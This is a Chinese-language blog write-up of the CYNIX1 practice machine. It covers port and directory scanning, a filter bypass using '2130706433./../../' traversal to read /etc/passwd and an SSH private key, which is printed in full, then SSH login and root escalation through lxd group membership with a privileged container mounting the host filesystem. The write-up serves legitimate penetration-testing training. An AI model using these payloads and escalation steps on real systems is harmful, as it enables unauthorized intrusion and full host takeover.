靶机训练5 - CYNIX1

靶机训练5 - CYNIX1

一,前期准备

  • 下载地址
  • 靶机信息
    • 2019年11月18日
    • 中级
    • 网络
      • DHCP 服务:已启用
      • IP 地址:自动分配
  • 目标
    • user.txt
    • root.txt
  • 虚拟机导入virtualBox,报错:VirtualBox 未能启动虚拟电脑,由于下述物理网卡找不到 问题解决,再报错:不能为虚拟电脑XXX打开一个新任务
  • 解决方法

二,信息收集

1. 主机探测

nmap -sP 192.168.31.0/24

image-20220718230319549

2. 端口扫描

  • 先进行全端口的扫描

    • nmap -p- -T5 192.168.31.227 #全端口扫描
      

image-20220718235746834

  • 详细的版本探测

    • nmap -sV -sC -p 80,6688 -A  192.168.31.227
      

image-20220719000159273

  • 访问首页(80端口)

image-20220719000328786

3. 目录扫描

  • 扫描一级目录

    • gobuster dir -u http://192.168.31.227 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      

image-20220719001131725

/lavalamp 
/server-status 
  • 访问
    • 浏览一圈发现只有一个CONTACT US可以使用,可以正常提交相关信息

image-20220719001322517

image-20220719001405820

  • 扫描二级目录

    • gobuster dir -u http://192.168.31.227/lavalamp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
      
  • 发现这些目录都没访问权限,没啥用

image-20220719002032335

三,渗透过程

1. CONTACT US可以使用,尝试抓包访问

  • 打开burp进行抓包测试,在proxy 中发送到 repeater查看

  • 还会发现请求被提交给一个php脚本

    • /lavalamp/canyoubypassme.php
  • 访问后发现是一个图片,没啥用

image-20220719214849884

  • F12查看源码,发现一个透明度的css属性(epacity),可能藏着什么东西 ,将其置1后看到隐藏的框,尝试输入发现没啥突破点,继续往下走

image-20220719224553831

  • 回到http://192.168.31.227/lavalamp/下,填写留言板,然后提交抓包,发送repeater

image-20220719225617211

  • 在应答报文中,发现一个挑衅的句子(你能绕过我嘛?意思是绕过后就可以了?)

image-20220719004504605

  • 往下看,发现有两个值file和read(敏感的人可能觉得这里会有文件相关漏洞)

image-20220719004708659

  • 在proxy发送到浏览器看看

image-20220719005545687

  • 看到点在这里的时候会有一个输入框

image-20220719230614491

  • 再次修改这个透明度属性,还是这个输入框,看来这里确实有玄机,再仔细看看

image-20220719230140820

  • 再次输入内容,然后抓包

image-20220719230748195

  • 尝试访问http://127.0.0.1 或者 http://localhost,又遇到一个挑衅(提示)

image-20220719231729188

  • 直接去获取文件,尝试加几个./ 或者 ../
    • 发现另一个提示:不让我们去访问

image-20220719231932078

  • 尝试直接读取文件,也是拒绝访问

    • ./../../etc/passwd
      
  • 会想到一个输入框的提示:输入一个整数,经过查询 127.0.0.1可以转换为一个数字 2130706433(可以手动 ping 一下试试)

    • 好像输入也不行啊
  • 尝试将两者拼接,拿到了文件内容

    • 2130706433./../../etc/passwd
      

image-20220719232835076

  • 访问一下/home/ford/目录,根据前面端口扫描情况,有一个ssh开放端口(6688),那就可能会公钥私钥文件存在

    • 2130706433./../../home/.ssh/id_rsa
      2130706433./../../home/.ssh/id_rsa.pub
      

image-20220719233540032

  • 结果看到了私钥文件

    • -----BEGIN RSA PRIVATE KEY-----
      MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2Bsal
      zYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2
      LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurG
      zo41f/YWjC5DurNjIchzl4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxz
      Mf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6
      gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuSc
      gfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwR
      iEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTL
      DSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr
      69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdl
      rFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4
      VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9
      TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSw
      qXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenM
      gMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7h
      dq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7
      myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8b
      C9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD
      7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8
      dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLv
      kZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7n
      KVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3Y
      QnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1
      +QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP
      /kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg=
      -----END RSA PRIVATE KEY-----
      

image-20220719233748905

  • 公钥

    • ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTVVS1xi5mYzVmabjI2mC7PN6hwakxVgLnjTJP3RCpoPYGxqXNiq8coSH75s4vpBNKvQ2NT2J9P+UEhVIgDROmNROSl0hbTjkf42WAyE3Sr/HpjLYuh+4HgtCpHOvpw/Slqg5g2rUpgbdAXWi4ZriTWLS13gN6kHFy7gkEw6bbQTsG6sbOjjV/9haMLkO6s2MhyHOXgbIEKUwZJdZshuvqxjBXHY4rKI8sUti6ys2rAk1C/HMx/nKiURgjxY5cnMJ+I9DlUbwpcEfcUe74OEU2CslCOCjAPXlkxDWqk7/YUyF7BHqBwOzusItRRdz3/u4nt7fMeVTIODFqRiiGfdiJ ford@blume
      
  • 保存到kali下,后面可能用于ssh公私钥登录

image-20220719234143574

  • 尝试ssh登录

    •   # 读写权限
        chmod 600 is_rsa
        ssh -i id_rsa ford@192.168.31.227 -p 6688
      

image-20220720002944310

  • 成功拿到shell,flag通常在用户的家目录或者网站根目录

image-20220720003127020

  • 可以到.ssh路径下查看公私钥

image-20220720003551997

  • 可以查看我们刚刚利用的文件绕过漏洞的代码

    • cd /var/www/html/lavalamp
      # 发现只要在前面随便加上一个目录就可以绕过去
      file=xxx/../../../etc/passwd
      

image-20220720005004906

提权

  • 查看用户属性,发现它属于一个特殊的组 lxd
  • 或者使用命令 groups 查看用户所属的组

image-20220720005138998

lxd(类似于vmware)

(105条消息) linux lxd组用户提权至root_YouthBelief的博客-CSDN博客_linux lxd

  • Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源
  • Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

lxd 漏洞信息

  • 通过适当的操作,本地lxd组的用户成员可以理解将自己的权限提升为主机操作系统的root权限。这种特性与该用户是否已被授权sudo权限无关,而且全程也无需用户输入密码
  • LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配,现在社区也有很多种方法可以利用LXD的这种特性来实施攻击
  • 其中的一项技术就是使用LXD API来将目标主机的根文件系统加载进一个容器中,一旦成功,攻击者就可以将低权限的用户提升为root权限,并且能够在不受任何限制的情况下访问目标系统的各种数据资源。

原理

  • 用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权

操作简述

  • 创建一个虚拟机,将虚拟机的硬盘挂载到真实主机主目录,就可以访问主目录的东西

在kali生成镜像文件

  • git 下载一个虚拟机镜像

    • 遇上鉴权失败可以install一下git

    • git clone  https://github.com/saghul/lxd-alpine-builder.git
      

image-20220720233439380

  • 执行脚本 build-alpine去构建最新版本的Apline镜像(tar.gz镜像文件)

    •  ./build-alpine
      

image-20220721000204157

  • kali下 通过python自带的简单的服务器程序,将构建好的tar文件发送到目标服务器上

    • python3 -m http.server 8888
      

image-20220721000325816

  • shell 中通过wget命令下载镜像到靶机上

    • wget  http://192.168.31.239:8888/alpine-v3.16-x86_64-20220720_2358.tar.gz
      

image-20220721000644297

  • 挂载硬盘/mnt/root即可查看目标主机设备的所有资源
# 导入镜像文件,改别名
lxc image import ./alpine-v3.16-x86_64-20220720_2358.tar.gz --alias myimage
# 查看镜像文件
lxc image list
# 初始化镜像,创建容器
lxc init myimage ignite -c security.privileged=true
# 加载容器,挂载硬盘
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
# 启动容器
lxc start ignite
# 进入root的sh
lxc exec ignite /bin/sh

# 退出root
exit

image-20220721001501557

  • 然后就进入了root 模式,在root下就可以看到 root.txt

image-20220721003223461

总结

  • 前期进行目录扫描的时候很关键,多用几个扫描器,字典很重要,扫描到目录之后找到关键点

    • gobuster dir -u http://192.168.31.227/ -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10
      0
      
      dirb http://192.168.31.227/
      
      dirsearch -u 192.168.31.227 -e*  -x 403
      
  • 最简单的页面可能就存在不简单的问题

  • id 查看后 发现普通用户在 lxd组,LXD提权这个提权方式我是耳目一新,学到了

posted @   bingekong  阅读(141)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示